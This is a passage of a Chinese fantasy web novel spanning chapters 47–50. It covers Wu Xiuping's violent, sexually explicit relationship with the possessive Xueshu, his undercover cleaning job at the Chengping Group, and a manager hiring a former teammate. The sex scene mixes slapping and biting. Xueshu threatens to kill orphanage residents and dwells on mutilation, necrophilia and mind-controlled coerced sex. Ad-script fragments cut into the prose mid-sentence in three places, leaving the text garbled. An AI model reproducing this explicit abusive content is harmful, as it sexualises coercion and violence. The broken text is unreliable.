乌修平难得产生丝丝欢喜,下一秒又给穴鼠一脚踹飞。
“这是【还原镜】。”穴鼠抬起下巴。花布小老鼠坐在他肩膀上,跟着抬起下巴,“鼠鼠淘到的次货,差不知道多少倍,勉强能照出一个人本来的样子。”
乌修平道:“你拿这个做什么?”
“让你好好瞧瞧那张死面具下的真面目。”穴鼠道:“戴着面具。切。一定是有什么不可告人的目的。要不就是丑得不能见人!丑八怪!恶心呕。”
乌修平将还原镜放在洗漱台上,“你自己去。”
“我不要。”穴鼠才不出门。他自有理由,“鼠鼠拖不动。”
乌修平也有理由,“既然带了面具,就是不想暴露真身。你让我带着镜子去,一不礼貌,二是让我去找死吗?许愿星任务成功,就是70级。”
“70级怎么了!我还89呢。”
“这不一样。”
“这有什么不一样。”穴鼠完全忘记自己对乌修平说什么,“我可是89级。你要训练为什么不找我?我难道不能帮你训练吗?我哪里比别人弱了?你的荆棘刃还是我给你的——我对你这么好,你到底还有什么不满足的。你说话啊。你干嘛低下头,给我抬起来。”
乌修平又累了。
他现在感觉在许愿星那挨打也可以,做什么都好,他不想要和穴鼠继续这无聊的无意义的对话。
直接快进到每次见面的最后一步吧。
“上床。”他对穴鼠道:“不就是做吗?一直做到你满意为止。”
穴鼠呆住了。
其实和往日不一样。他今天找乌修平来,真的没有想过要做。他就是想要找乌修平发脾气,想要对方不要和以前那样,关注什么朋友,什么叔叔,现在又关注什么老师,而不关注他。
从他察觉到“那件事情”之后,他有在刻意的降低与乌修平做的频次……好吧。他承认他还是有点想的,但他真不是每天都在发情。他偶尔,就是偶尔也是想要乌修平对待爱人那样对待他,做那种感觉的爱爱。
那么,“对待爱人”是什么样子?
穴鼠不知道。他长这么大又没谈过恋爱,也没有教过他谈恋爱。他理解恋爱的关系就是做,忘情了的做,发狠的做,然后吭吭给对方投喂,或者被对方投喂照顾。
他觉得还要怎么样?乌修平还要他怎么样!
他都给这个男人睡了哎。
更何况,穴鼠最近还隐约察觉到一些事情……他不是那么急迫地要和乌修平做,他想要和乌修平确认一些他们之间从没有察觉的事情。
“乌鸦。你爱我吗?”穴鼠问道:“我是说,最起码要到达你对那个老男人。再,再不行,就是那个鸟。你总要爱我到那个程度吧。总之,都要比这个猩猩多吧。”
乌修平并不理解穴鼠的转变。
这么几年,他知道穴鼠起承转□□,这么几年都是这样下来的。
“我不知道。”乌修平道:“上床吧。穴鼠先生。”
48.第四十七章
第四十七章
穴鼠有理由愤怒。
在这个慕强的时代, 89级属于最顶尖的战力。穴鼠倘若愿意努力几分,愿意从地下昏暗的巢穴走出去,不知道多少人要向他献媚。
他喜欢乌修平,根本不需要自己动手,其他人会让乌修平自愿来到他的床上,会在乌修平死后短短几天,以乌修平为模板生产出几十个几百个类似的男人来讨好他。
穴鼠可以站在很高的位置,享受一切的爱。
但他正在被践踏着。
那微妙的试探的退步,被乌修平完全推翻。穴鼠咽喉干涩,他扑上去,坐在乌修平肚子上,压迫着男人,感受对方身体的温度。尚未擦干的水渍在两人的摩擦中逐渐湿热。
“你就是这样想我的?”
乌修平没有说话。
他总是这样。很沉默,令人讨厌的沉默。
穴鼠最开始是不在意这样的沉默,慢慢地,他意识到这种沉默是对自己的抗议,开始变本加厉折磨乌修平。现如今,他再次面临这种沉默,将湿漉漉的头发全部别到脑后去。
很烦。
穴鼠不知道要怎么处理乌修平。
他不喜欢乌修平身边的朋友,不喜欢乌修平那个人彘叔叔,他不喜欢乌修平住着的仁爱院,他也不喜欢那个什么星。
他希望乌修平永远和他一起生活在地下的巢穴,两个人,永远。
“说话。”穴鼠道:“要不就动起来。”
乌修平选择了后者。他环抱住穴鼠的腰,熟练找准穴鼠的弱点,几下就让彼此舒服地闷哼出声。他们进入到最和平的一种交流方式中,空气中除了碰撞发出的响动,就是床褥与床板不安的咯吱声。
穴鼠疯狂大叫起来,“说话——我让你说话——你艹!你是哑巴吗?狗东西。今天没吃饭吗?”他拽着乌修平短短的头发,驾驭马匹一般,勒住缰绳,夹紧双腿,上半身前倾,脖颈拉到最长。
乌修平板张脸,扶住他翘起的脚,往下重重按。穴鼠混不吝地尖叫起来,一脚蹬过乌修平的肩窝,膝盖并住他的脖颈,把乌修平咬得鲜血淋漓,“就那么喜欢男人吗?臭乌鸦!我拔了你的鸟毛。”
鲜血流淌过乌修平的嘴唇,他像吃了药一样,不管不顾抱着穴鼠的腰开始用力。
花布小老鼠到处乱窜,原本都从床缝栽到床板里去了,硬生生被他们震到地板上,棉花屁股都摔瘪了。它支起身体,不大明白地吱吱叫了好一会,两个努力教对方做人摇船弄桨的男人都没听见。
它只好等待战斗结束,扯出条裤头,去主人面前献宝。
穴鼠将它和短短窄窄的裤子一块揉成球,摔在乌修平脸上。
乌修平任由布料从自己脸上掉下来,作势要离开床。
“站住!”穴鼠凄厉叫出声。他真是被这个男人气到了,“你就是仗着我喜欢你。臭乌鸦。你再往前走一步,我就把你那个破院里的所有人都剁成肉糜。”
乌修平果然停住了。
穴鼠再接再厉,用他最熟悉的手段恐吓对方,“特别是你那个鸟朋友。她不是想要出人头地吗?你再向前一步,我就让她人头落地。”
乌修平转过身。
他眼睛有一种很悲伤的神采,那种神采叫穴鼠欢喜:不论乌修平为什么改变了主意,这个男人始终在自己身边就好了。他将他当做什么都是他的意愿,穴鼠只要求乌修平全心全意属于自己。
他有时候不理解自己为什么会对乌修平一见钟情,可他又无法从这个男人身上离开眼睛。那种感觉不受穴鼠自己控制,为此,他要乌修平处于自己的控制下。
他对乌修平有爱情吗?穴鼠不知道。他又不知道爱情为何物。
但他肯定对乌修平有强烈的欲望——他看到他的第一眼就觉得这个人属于自己,没有任何意外。
爱情?可能是爱吧。穴鼠将其定义在爱情上,期待着乌修平也认为这种一种爱情。他看着向自己走来的男人,声音不自觉放软,“你这样就对了。只要你一直和我好,我也不是那么残暴的……”
他脸挨了一巴掌,整个歪到边上去。
乌修平赤着上半身,一巴掌后,依旧保持着那种悲伤的神采,似乎要说什么。穴鼠立起来左右开弓,狂扇乌修平十来个巴掌,一时间房间里听不到任何呓语,只有他们彼此粗重的喘息声和巴掌声。
“你真是反了天!”穴鼠第一个念头是杀了乌修平。
可他无论如何也舍不得这个男人。他过去杀了不知道多少人,可一想到世界上再也没有乌修平这个人,他汗毛直立,心抽抽疼起来,巴掌也更用力扇在乌修平身上。
“你居然敢打我。”穴鼠咆哮道:“我要你死!你等着后悔吧。”
他真的能让乌修平后悔吗?穴鼠早就知道答案,他看乌修平敢对自己动手,也知晓这个男人心里厘清这个答案:他就是仗着他不舍得杀他,才这样为非作歹。
他不知道要如何对待乌修平。
他不会放乌修平走,可他也不愿意遵循乌修平的意志对那些他讨厌的人施展好意,他与仁爱院、沈曙雀、平安生有什么因果关系吗?他在意这个男人,就一定要爱屋及乌吗?
说到底就是在乌修平心中,他穴鼠永远排不上号次。
他不如平安生,不如沈曙雀,不如那些仁爱院的孩子,现如今一个不知道哪里冒出来的面具星人都可以踩着他穴鼠的脑袋,占据乌修平的心!
简直是反了天!!
“你为什么不能对我好一些。”穴鼠狂吠道:“你选择我啊。臭乌鸦,狗男人。你以为自己为什么能活到今天。”
手指上,属于乌修平的鲜血一滴一滴垂落下来。穴鼠看着,捂住脸,双颊涂满乌修平的鲜血。他发出难以割舍又痛苦的嘶吼,乌修平从他的利爪下逃生,飞速退到门口,逃亡似离开巢穴。
他临走前带上门,风吹得穴鼠起了一身鸡皮疙瘩。
我真应该一开始就把他关起来。穴鼠想道:其实做成人彘也是可以的,每天用带子绑着吊在天花板上。自己睡觉时再把乌鸦放下来,不需要时再把他挂起来……衣架、桌子……乌修平只有哭着哀求自己,发誓再也不忤逆自己,才可以大方慈悲每天给他几分钟排泄时间。
穴鼠想着可怕的事情。
被抛出去许久的花布小老鼠扭扭屁股爬上床来,可怜地吱几声后,它给穴鼠看自己屁股上不小心崩掉的
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
线头,还有一些弄脏的白棉花。
穴鼠:“……知道了。别叫。”
他停下自己脑子里的人彘计划,笨手笨脚给花布小老鼠缝屁股。
“你觉得乌鸦适合做人彘吗?”穴鼠问花布小老鼠,“我看他很喜欢那个人彘大叔。我把他也变成那样子吧。”
花布小老鼠不太理解“人彘”这种高级词汇,不规则的豆豆眼眨巴眨巴。
穴鼠觉得自己真是愚蠢透顶了。他脑子一定和睾.丸长在一起,被乌修平艹傻了。他气得把花布小老鼠捏成鼠条,对空输出,“算了。”
他没有告诉乌修平,也不想告诉乌修平:对方能再见到平安生,全是自己在暗中出力。
是他,安排乌修平参加陈少爷的保镖任务。
是他,故意引导陈少爷来到这个城市。
是他,控制陈少爷,让其刻意要求把“痛苦之匣”带到一个荒无人烟的地方进行验货。
是他。是他。是他。
他只是想要让乌修平对那个叫做“平安生”的男人彻底死心。
他有什么错?!
平安生变成痛苦之匣又不是他干的;平安生失去手脚也不是他干的;仁爱院那些孩子死掉也不是他干的——他最多算个袖手旁观,乌修平就整天凶他!简直是反了天了!
穴鼠气得把花布小老鼠捏成一个鼠饼。
过去三年,乌修平反反复复在他身边念着这个名字“平安生”。
他提醒着他,他是为了平安生这个人才来到自己身边。
他提醒着他,只要平安生在,穴鼠永远算不上他这个人的挚爱。
他提醒着他,他在嫉妒平安生。
他嫉妒平安生。
他嫉妒一个失去手脚的……人彘?
开什么玩笑!
穴鼠将花布小老鼠扭成一条鼠麻花,搓成一个鼠麻圆,最后捏成一个三角鼠饭团。花布小老鼠尾巴扫来扫去,棉花全挪位了。穴鼠用牙咬断它身上的线头,重新给它拢出胖胖的屁股。
花布小老鼠大方原谅主人的揉搓行为,并表示还可以再捏捏自己。
穴鼠用手指将它翻个面,戳它的肚肚,“别闹。”
末了。他开始和自己的使魔聊天,“你觉得把乌修平杀了,再用亡灵法术复活怎么样?……那做起来会不会很凉?”
穴鼠认真思考和乌修平尸体做的可能性,摇摇头,觉得自己还是更喜欢热乎乎的男人,“算了算了。”
他想起以前自己直接控制住乌修平的身体,用技能要男人不管不顾猛草自己一天一夜,乌修平边哭边不受控制地冲刺……啧。他当时怎么就心软了?没有直接把乌修平洗脑成个只知道做的傻子呢?
穴鼠乱七八糟想了很多事情。
他躺在床上,脸上一阵冰凉,侧目看去。乌修平照过的复原镜不知何时丢到床上,正贴着穴鼠的脸,什么也没照出来。
穴鼠捡起它,对着镜子看了番,冷笑道:“什么垃圾。”
镜子里,所有摆件、零食、垃圾清晰可见,花布小老鼠愚蠢的嘴脸都被镜子照得明明白白。
唯独没有穴鼠。
好像,他从没有存在过一样。
49.第四十八章
第四十八章
另一边。
乌修平做梦都没想到自己敢打穴鼠。
他动手后就开始后悔。可他又觉得穴鼠也有错——如果不是穴鼠整天整天拿他在乎的人威胁,乌修平也不会动气——出于某种古怪的心情,乌修平挨打时没有屏蔽痛觉。
逃跑后也没有屏蔽痛觉。
他顶着两个馒头腮帮子,□□一样呼气哈气。许愿星看见后哈哈嘲笑许久。
“你知道你像什么吗?”许愿星恶意戳着乌修平的面颊,戳得乌修平倒吸凉气。他换一种声音稍微温雅地笑起来,“被老婆凶了一顿没气出的窝囊男人。”
乌修平毫无波澜。
他这辈子被人说窝囊、废物的时候多了去了。
从性格上说,乌修平与沈曙雀有很大的不一样:他没什么心气,也没有什么特别的渴望,好像欲望早随着痛觉一块被他的诅咒屏蔽开了。
世上唯有少数几个人能牵动乌修平的心。
许愿星明显不在其中。
“继续训练吧。”乌修平捡起树枝,递给许愿星,“我想要快点杀到成平集团。”
许愿星摇摇头,“你太弱了,没有战斗的天赋……练习这么久,我不说明白,你自己也真想不明白……你是一个刺客,不是一个战士。转职时,游戏面板默认为你提供最适合你的职业……你要学会发挥刺客的最优解。”
乌修平听得朦朦胧胧。
他升入高中,接受统一化教育。学校非常粗暴将学生分为三类:物理攻击系、魔法攻击系和辅助治疗系。乌修平所学习到的大部分知识和战斗逻辑都适用于正面冲突。
他身边的长辈没一个是攻击系。
“平庸是你的天赋。”许愿星笑了笑,点醒道:“暂停训练。你混入成平集团试试……正好,你被揍得和猪头一样,应该没多少人认出你。”
“为什么?”
“你的愿望说是变强,不如说是复仇。”许愿星道:“了解敌人,可是复仇的第一课。”
*
清晨4:00,成平集团总部大厦一片安静。
乌修平拉低帽檐,换上工装,跟着清洁工们一并进入大厦,分散到各处。
在成平集团,除少数负责维护厕所卫生的清洁工,其他人都属于长期兼职工,工资很低,四点上班,六点下班,基本不会和集团正式成员见面。同事之间也非常冷淡,从领班那分配到固定的楼层后,就是吭吭干活。
乌修平第一次混入其中,悄悄和人换了好几次楼层,才摸索到自己的目标:王德经理办公室所在的楼层。
他到岗就开始清理垃圾桶、打扫洗手间、拖地、浇花、擦拭窗台灰尘、更换饮水机饮用水,注意不能碰到上百个工位上的桌面物品,也不能擅自动员工的东西。
“你可以乘机在他们的工位上放炸弹。”许愿星出主意,为了完成他自己的转职任务,似乎是无所不用,蛊惑道:“一块施展了术式的橡皮,触碰后就会爆炸,威力足以将整个楼层炸穿……”
乌修平专心撬门。
严格来说,他在研究怎么打开王德经理的办公室大门——燕语曾经是王德经理的女仆。在她的描述中,这扇门从不是重点。可这个不是重点的大门实际上覆盖着七层各不相同的保密法术,七种不同的警报系统。乌修平将手放在门锁上,门锁转换为一颗硕大的眼球,死死盯着乌修平。
乌修平镇定拉高口罩,装作擦拭门面,抹布用力抹了好几遍眼球。
成平集团精准掌控部门之间的信息流通,不光是王德经理这样的中层领导享有绝对保密安全,小组长级别的工位也设立了各种加密法术。乌修平继续维持自己的底层路线。
他将垃圾桶和工具间彻底利用起来,每天钻入垃圾桶里按照提前标注好的工位翻找垃圾袋,誊抄工具间的打卡表和物品记录表,搜查还没有被统一处理的耗材等等。
这也确实让乌修平发现奇怪的地方。
王德经理所管辖的工位中,有一个名为72的工位,在过去三个月消耗近百吨水。那些他单独消耗的水按照楼层-工位-日期记录好,并没有被统一处理掉,起分量可以在办公室养蓝鲸了!
而某一天,这个消耗停止了。
乌修平记得很清楚,那个日期正好是燕语姐回到仁爱院的日子。
“这中间难道有什么关系?”乌修平喃喃自语,转过头看向旁边。他微询问的姿态,正对着一把滴水拖把。
滴答。
曙雀不在。
滴答。
乌修平后知后觉低下头,手捂住嘴,唯恐再说出什么可笑的蠢话来。
一周时间,垃圾桶陆陆续续告诉乌修平:成平集团的HR正在招募大量新人手,以填补人员空缺;成平集团减少很多垃圾,空缺的办公桌越来越多;垃圾桶里出现一些写废了的装备申请单。
乌修平试图找到平安生的下落。
一无所获。
在许愿星的点拨下,他开始转换思路,调查成平集团里和平安生有关系的职员,重点寻找“周曹”这个名字,试图从中得到当年的真相。
倒不是乌修平断定周曹就是燕语姐辞职前所说的“那个队友”,而是他除了平安生只知道“周曹”这个名字。一周时间,他打开碎纸机仓、翻找垃圾桶和楼层办公用具储物间,都没有找到周曹相关的任何信息。
一个辞职员工留下的痕迹,不到一周就会彻底消失。
唯有空荡荡的工位,证明他曾经存在过。
乌修平缓慢排除掉一个接着一个空工位,最后锁定在一个还没撕掉名字牌的、疑似在工位上养蓝鲸的名字。
“水龙吟。”他缓慢念出这个名字,困惑极了,“好奇怪的名字。”
这个人会是平叔的前队友吗?
*
王德经理五次约人失败,这是第六次。
天空又开始下起了小雨。他坐在户外咖啡厅下,雨水沿着遮阳伞滴滴答答落在石板上,干湿分明,圈出两个世界。
忽然,浅色地面印出半个深色脚印。
无色无形的细雨中显现一只手,将雨幕撩开一道缝隙,侧身走入伞下,整理雨披,坐下。
软座上的靠背吸饱了水汽,氤氲出大片深色水渍。男人半张脸都藏在雨披下,兜帽上的水一滴一滴掉入面前的咖啡中。
王德经理看得都要浑身起潮,不过任务在身,他还是礼貌地打招呼,“好久不见,你还是这么谨慎。”
男人搭在桌面上的手隐约露出袖箭的轮廓。
“说正事。”
“你把周曹杀了?”
水龙吟猛然抬起头,接着他意识到这个动作暴露了他的态度,拉下兜帽,反问道:“周曹,死了?”
“对。尸体在冷库。”王德经理敲打桌面询问道:“要去看看吗?”
“怎么死的?”
“初步断定是灵魂类攻击。”王德经理还没有说完。水龙吟摇摇头,抢先回答道:“不是我杀的,我不会出丧葬费。你们还有什么事情吗?”
王德经理:……
不愧是在我司深造过的渣滓,简直是毫无人形。
“你就不好奇他死在哪里吗?”
“没兴趣。”水龙吟作势要离开。
王德经理只好放出杀手锏,“二十二年前,平安生救过一个孩子。你们小队一起把那个孩子送到一所孤儿院还记得吗?”他点燃半支烟,不吸,就点着,慢条斯理看水龙吟重新坐回到位置上,补充后半段,“周曹就死在这附近。”
水龙吟不明白。
他问道:“我们已经很久没联系了。听说前段时间,平安生被抢走了。他做的?”
“不是他,是一群孩子。不过他应该有这个心思,想找到平安生。”王德经理轻描淡写带过一大串描述,道:“没办法。当年处理平安生这件事情上,你们队伍内就有反对者的——别误会,周曹不是我们这边杀的。我是想地,如果是你们这几位做得至少要和我集团通个气——大家都是一条船上的人。”
水龙吟冷笑两声。
他可不觉得自己和成平集团是一条船上的人。
“平安生丢了?”
“找回来了。”王德经理吹吹烟。烟雾与水汽搅合在一起,空气处于浑浊与清新的中间值,非常诡异。两个大男人却已经习惯这种味道。
这是他们各自技能在暗中博弈的味道。
“所以?”水龙吟摩挲手指,嘴唇干裂,“你找我就是为了问这个。”
“不不不。还有一件事情。”王德经理后面要说得才是重点。他已经不相信乌辛这个傻卵大老板了,这个蠢货草包十句话里有半句能用就不错了。王德经理还是更相信自己的一些判断。
他问道:“平安生是个热衷慈善的人,对吧。”
水龙吟没有回答。他拧开自己身上的水瓶,一瓶、两瓶、三瓶,空水瓶一个两个三个堆放在面前,形成一堵塑料墙。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
王德经理追问道:“但二十几年前,他其实并没有那么热衷慈善。是在某一年的春天后,才忽然给城市里不同的孤儿院捐款,并且在每一个孤儿院都做了义工,就连义工时长都非常相近……这二十年里大量孤儿院倒闭,最后只剩下仁爱院一家。他才将大量时间放在仁爱院里。”
水龙吟闭上眼。
王德经理继续说道:“你们的队长也给不同孤儿院捐款,时间没有持续很久,金额也不限定。你们队伍中分别进行过不同类目的捐款,时间、金额都不限定,越后面次数越少。”
“反之,你们被人目击到争吵得次数越来越多。”王德经理又点了一支烟,他面容模糊,语气笃定,“我挺好奇的,你们那时候就知道平安生拥有‘痛苦之匣’的技能吗?”
水龙吟不回答。
雨澎湃得下着。
王德经理手中的烟雾被水雾吹散一些,他笑笑,继续那个未完成得推测,“其实,周曹去仁爱院之前找过我。我告诉他,集团最想要是‘痛苦之匣’,而不是‘痛苦之匣-平安生’,如果能找到‘最初的痛苦之匣’,未尝不能把平安生换出去。”
水龙吟终于有了动静。他说道:“这个事情只有平安生知道。”
“是啊。我也是这样告诉周曹,只要他能找到我们要的那个‘痛苦之匣’,平安生对我们集团来说,其实并不重要。”王德经理道:“他应该找到了。”
然后,死了。
谁杀了周曹?是痛苦之匣?还是痛苦之匣现在的拥有者?
不知道。
王德经理听说自家蠢老板这次上门拜访,还是没见到大少爷。他已经不对老板抱有什么希望了。
大少爷开心时,手指缝里漏出的好处足够整个集团消化七八年,同样,大少爷发火时,一个巴掌就能让成平集团上下数万人死个干净。
“灵魂类攻击可不常见。”水龙吟思索道:“周曹到底发现了什么?”
最初的痛苦之匣?神级技能兼神级道具确实值得杀人灭口。可二十多年过去了,痛苦之匣的承载者到底是什么怪物,才能在累积二十多年的痛苦后,依旧稳定发挥技能效果?
水龙吟想到三年前平安生共享给他们的技能页面,瞳仁不受控制得收缩下。
“你想知道‘痛苦之匣’的事情,为什么不亲自问问平安生。”
“你又不是不知道他的脾气。”王德经理感受拂面的细雨,微微点提道:“别忘了。我们都使用过‘痛苦之匣’,是一条船上的人。”
如果有人要为平安生清算仇怨,他们有一个算一个全部跑不掉。甚至夸张点,那位拥有“最初的痛苦之匣”的存在打算灭口,那么他们这些知晓痛苦之匣的使用者全都得死。
“我不会承认这一点的。”水龙吟起身就要离开。他露在外的半身与雨交织在一起,顷刻化为无数细线,融化殆尽。
“何况,我已经下船了。”
最重要的一点,没有人会为平安生报仇。而那个“最初的痛苦之匣”迄今为止,也只活在王德等成平集团领导层的臆想中。
水龙吟不会为臆想之物买单。他是个踏实务实的男人。
王德经理知道这家伙有多贪。他竖起一根手指,开出价位,“你成功转职后,直至下一次转职任务前的经验值。集团会专门为你组一个升级团。”
水龙吟身体卡顿。
王德经理伸出第二根手指,“70级以下所需要的材料、装备,集团帮你全部搞定。你现在正在59-60转职关键期,需要什么直接开口就好了——别和我说什么帮不上,辞职的小借口。”
水龙吟重新坐回位置上。
他道:“我不会去你们集团上班。合同要我这边出。最后,打不过的话,我会马上甩锅逃跑。你别怪我无情。”
王德经理早晓得他贪了。他们签订了一份契约,重新成为一条船上的人。
“沿着周曹的路去找‘最初的痛苦之匣’吗?”水龙吟想起一件事情。他道:“你说,他去找的那个孤儿院叫什么来着?”
“仁爱院。”
水龙吟终于在金钱的作用下恢复记忆。他想起二十二年前,在冬雪尚未融化前,平安生在垃圾桶边捡过一个丑孩子。
他们嫌弃得要死,那孩子真是水龙吟生平所见最丑的一个。他还记得队长说那个孩子身上有50级以上的诅咒,不能留下。一众人强烈要求平安生将孩子送走。
那个送走孩子的地方,就叫做仁爱院。
50.第四十九章
第四十九章
二十多年过去,若非金钱的力量,水龙吟都记不清得那个破烂小楼叫什么名字。他对那地方唯一的印象就是自己搬了好多水泥,给破烂三层小楼补屋顶、修水管、接电线。
可累死他了,偏偏队长和平安生还很伤心,不断在边上鞭挞他。
唉。
往事如烟。
“找到最初的痛苦之匣。”水龙吟喝一口自己带来的水,低声道:“你为什么会想到那个孩子?仅仅因为周曹死在那附近?”
“不全是。”王德经理斟酌一二还是将消息告诉水龙吟,“ 你怎么理解神灵?”
水龙吟道:“一种高纬度野怪?”
这个时代的神灵与旧时代的神灵不一样。他们是活动的、抽象的、只有职权而不存在姓名的。人们称呼祂们多以权柄、职称代替,例如“智慧之神”“力量之神”“战争之神”。
一个词汇代表一个已知的神灵权柄。
目前探测到的神灵权柄的极限是两个。
同时掌握两个,是已知的神的极限。
例如,沈曙雀背后的“瘟疫与疾病之神”,“痛苦之匣”背后的“痛苦与疗愈之神”,都是双权柄之神——他们会选定自己相看中的人类施加恩赐或诅咒,这种被称呼为“神迹”“神的注视”的存在,在双权柄神中更加常见。
不少智者职业者推测,双权柄神会产生能量溢出的情况。为了缓解能量溢出,他们会选定一些人类,将自己的力量分配出来。
简称为 “神灵代言人/继承者之说”。
【得到神灵注视的人类极有可能在99-100级的转职任务上接触到神的权柄!】
“那个孩子出生时,他的生母难产大出血。他在产房里自动挥发出强大的自愈力量,最终让生母活下来。”王德经理回忆起部分元老们的说辞,“生育是很痛苦的事情。那个孩子生了快三天,他的母亲一直体验撕裂、愈合、再撕裂的痛苦。非常可怕,这是一件非常可怕的事情。”
这代表这个孩子先天就有着超出寻人的天赋。
他出生就给母亲带来无休无止的痛苦。
“出产房没多久。我们的大老板,姓乌的那个,把这个孩子送人了。”
再多事情,乌辛一问三不知。
“大少爷今年过了90级的门槛,就要冲刺100级。”王德经理道:“100级转职任务,据说会触碰到神相关的概念。老板想来想去,也就这个办法讨好大少爷了。”
水龙吟道:“那个孩子是痛苦与疗愈之神的代言人?”
“大概吧。我们调查了周曹暂住的酒店。”王德经理道:“他在里面设立了祭坛,联系血缘教派搞了点仪式……他献祭了自己的等级。这也是为什么,他毫无反抗被杀死的原因之一。”
变弱了,就会死。
水龙吟遮住下巴,若有所思。忽然,他后悔接下这件事情,神明、血缘教派、周曹之死、一个未知的神灵代言人、痛苦之匣……
“超出我能力的范畴,我会毫不犹豫的逃跑。”他再次强调道:“毫不犹豫。钱也不会退给你们的。”
王德经理哭笑不得。
水龙吟摇摇手,风吹过。他身影消失在雨水中,闪烁中出现在三米开外的街道上,走向前方慌忙收拾东西的血缘教派义演团。王德经理还想要再喊喊他,话还没出口,只看见他高高摇了摇的手。
“这个家伙。”王德经理讪笑下,看向那群穿着塑料雨披的义演团成员们。厚重的雨幕中,他好像看到一张熟悉的女孩的脸匆匆而过。
“快点。”
“这雨怎么又开始大了?”
“都麻利点。”义演团的干事们吆喝道:“都动起来,道具不能沾水。”
乌修平拉高口罩,紧了紧身上的兜帽。他乘着慌乱,帮忙收了两把椅子,装作忠实观众和其他信徒混淆在一起,走进自己看到的人。
“阿雀。”
沈曙雀动作一慢。不过很快,她恢复正常,将湿发别到一边,继续工作。乌修平只能继续低低呼唤她的名字,说道:“我最近变强了。”
沈曙雀折叠凳子,拉开防水布遮住箱子。她踩着水帮忙收灯具,正眼都不看乌修平。乌修平也毫不气馁,追着人轻声说话,“我查到点东西。阿雀,我真的可以……”
沈曙雀:“哦。所以呢?”
乌修平道:“我要把平叔救回来。”
“那你就自己去,找我干什么。”
“我。”乌修平只是路过。血缘教派的义演团一年都在表演,整个城市都是他们宣传的声音。乌修平往日也路过好几次,可这一次,他忍不住走近,看了许久。
因为曙雀在这里。
他有很多话想和沈曙雀说,临到了嘴边,笨得一个字都吐不出来,呆呆站着淋雨,还做梦沈曙雀给自己擦一擦雨水。
“我想你回来。”乌修平憋了半天,憋出这么句怂话。他忽然想念沈曙雀打自己的样子,内心也忍不住跟着祈祷,叫沈曙雀在这句话后痛痛快快打自己两下。
可沈曙雀扫过他一眼,快速去其他地方干活。那姿态比任何骂声都钻心。乌修平站着也不是,坐着也不是。
过去一周时间,仁爱院上下都清楚沈曙雀离开的原因,也逐渐接受了沈曙雀的离开。
明修女大哭一场,接着大病了一场。童姥姥原本就不喜欢沈曙雀,对沈曙雀的离开不做过多的评价,板着脸花费更多时间为明修女求药,带着孩子们逐步搬出地下隧道。
接连不断的大雨,愈发凶猛的地污水,再加上来不及修缮的地下庇护所。种种原因导致地下开始变得不利于孩子们居住。
如果大家都拥有坚强的意志、誓死搏斗的决心,其实还是可以再坚持一下的。
但仁爱院大部分孩子不是残疾,就是心智不全,他们做不到这一点。
沈曙雀要离开,对她自己来说是绝对的好事。也是绝对的正确。
这就显得乌修平有点贱,人家不理会你,你还要眼巴巴贴上去。可对于乌修平来说,那个人家是沈曙雀,沈曙雀是完全不一样的。
他踌躇下,还是做出决定,再和沈曙雀强调一遍,“我找到一些线索。”
“别和我说。”沈曙雀打断道:“我现在不适合听这些东西。啊呜。你要拯救平叔你自己拯救吧。你别拖上我,你也不要拖上仁爱院。我不想成为给大家收尸的那个人。”
乌修平不说话了。
他不知道怎么面对时就以沉默对抗。
沈曙雀懒得与他消耗下去,拉拽下身上的塑料雨披,匆匆去整理其他东西。乌修平浑身湿漉漉地走着,一时间居然不知道要去哪里。
雨伞从他身边撑开,许愿星永远脚不点地,悬空着说话,“你还想对她说什么?”
“没什么。”
乌修平确实有很多话想要和曙雀说。他最近感觉很不妙:去穴鼠那,他自己还没从扇穴鼠一巴掌的事情里缓过神来;去找曙雀,沈曙雀又与他
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
割席;去仁爱院,乌修平看到童姥姥、明修女、叶生光中的任何一人,看到孩子们饥肠辘辘的样子,心脏痛苦得抽抽起。
他不知道能去哪里,也不知道自己做的事情是否正确。
他内心隐晦有一个声音附和沈曙雀的提议:从开始就应该听沈曙雀的话,给平叔一个痛快,所有人搬离这座城市,逃得越远越好。可真要按照沈曙雀所言去做,乌修平自己又格外得不甘心。
他看着自己的双手,忍不住回忆起平叔拉着年幼自己走在放学路上。在那条路上,平叔给他与曙雀各买一支烤肠,油滋滋的烤油脂沿着竹签滴落在指头缝隙中,乌修平与沈曙雀埋头吃着,一人牵着平安生一只手。
那双手很早时,就比乌修平要宽大,要厚重。
乌修平虚虚对着半空展开,握住。
沉重的雨落在他掌心,带走数年前街边烤肠的热气。
许愿星道:“如果你愿意付出一点代价,我可以告诉你成平集团的内部消息。”
“什么代价。”
“把你脸打肿的人在哪里?”许愿星饶有兴趣地提起,“那天,那个打你的人和你做了吧。我还是第一次看到恋丑癖。”
乌修平想,穴鼠听到这话该气得反驳了。他忍不住勾勾嘴唇,“不告诉你。”
“别着急。那听听兑换的内容吧。”许愿星道:“我已经推测出你要找的人在哪里了。我们交换消息,怎么样?”
乌修平顿住。
一瞬间,他脑海里产生被玩弄被嘲笑的熟悉感。他侧头看向身边的许愿星,“你知道平叔在哪里?”
那你让我去调查成平集团,当清洁工,是在看我的笑话吗?
“怎么会。”许愿星理所当然地说道:“我早就知道。但我没有告诉你的理由对吧。你的愿望是变强大,杀了成平集团的人。你可没有要求我帮你找人。”
况且,找人是一时的。
乌修平自知,如果不变强,他就算找偏门把平叔救出千万次,王德经理也能千万次将平叔抢回去。
说到底,还是因为他太弱了。
乌修平感觉到一阵疲倦,“我不能告诉你。”
穴鼠穴鼠,字面意义是住在洞穴里的老鼠。乌修平也不知道穴鼠到底是懒惰还是怎么,反正这家伙是不乐意出门,也不乐意叫外人知道他的真面目。乌修平今天敢告诉许愿星一点关于穴鼠的消息,明天他的命根子就能一星半点不剩。
——虽说穴鼠嘴巴上叫嚣很厉害,手上犹犹豫。可乌修平还是不敢真的赌那点概率。
他很有男人的劣根性。
“你这人真有意思。”许愿星琢磨道:“那个人对你不算好吧。嘘。让我再猜一下,你和他是包养关系?”
乌修平沉默。
许愿星奚落道:“不会连包养也算不上吧。”
乌修平快步走路,试图甩开这个漂浮的男人。他第一次觉得许愿星是那么烦人,那种烦人与穴鼠的蛮横不一样,全是幸灾乐祸。
